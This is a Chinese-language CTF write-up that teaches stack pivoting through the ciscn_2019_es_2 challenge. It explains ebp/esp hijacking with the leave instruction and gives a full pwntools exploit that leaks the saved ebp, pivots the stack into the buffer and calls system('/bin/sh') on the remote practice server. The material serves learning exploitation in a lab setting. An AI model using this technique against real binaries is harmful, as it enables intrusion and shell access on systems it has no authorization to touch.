仅供个人学习参考

背景及原理

我们在栈溢出时,有时候会碰到可供写入的字节数不够,比如只溢出到retaddr后面一点点,不够我们构造payload,这个时候可以考虑使用栈溢出

栈帧

先回顾一下栈帧的概念,栈帧也叫过程活动记录,是编译器用来实现函数调用过程的一种数据结构。C语言中,每个栈帧对应着一个未运行完的函数。从逻辑上讲,栈帧就是一个函数执行的环境:函数调用框架、函数参数、函数的局部变量、函数执行完后返回到哪里等等。栈是从高地址向低地址延伸的。每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)


栈溢出实现关键在于对ebp和esp的控制,也就是说,我们劫持esp和ebp,构造出一个新的栈帧,让系统执行这个栈帧。对于ebp来说,我们可以通过修改previous of ebp 这个位置的内容来控制,对于esp,则有leave这个指令,leave等同于mov esp ebp和pop ebp (可以通过ROPgadget来找)

例题

以ciscn_2019_es_2这题为例
q

a

可以看到在vul函数中,我们利用read可以读入的数据只有0x30,显然不够构造一次完整的payload,所以我们考虑栈迁移

第一次read用于泄露old ebp的地址,第二次来构造栈迁移

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
io=remote("node5.buuoj.cn",28853)
io.recvuntil(" name?")
payload=b'a'*36+b'bbbb'
io.send(payload)
io.recvuntil("bbbb")
old_ebp_addr=u32(io.recv()[0:4]) #接收old ebp地址
log.success("old_ebp="+hex(old_ebp_addr)) #打印old ebp地址 (对exp无影响)
leave_ret=0x08048562 #利用ROPgadget查找 ROPgadget --binary ciscn_2019_es_2 | grep 'leave'
system_plt_addr=0x08048400
payload=b'aaaa'+p32(system_plt_addr)+p32(0xdeadbeef)+p32(old_ebp_addr-0x38+16)+b'/bin/sh\x00'
payload=payload.ljust(40,b'a')
payload+=p32(old_ebp_addr-0x38) #将ebp劫持到缓冲区起始处(距离ebp 0x38)
payload+=p32(leave_ret)
io.send(payload)
io.interactive()

第二次的payload前面的’aaaa’是因为执行leave后(其中的pop ebp)会导致esp的值增长一个字长,如下图
执行完leave指令(我们填入的leave)后的情况:
a

ebp里面是aaaa,esp指向system的地址,成功执行system函数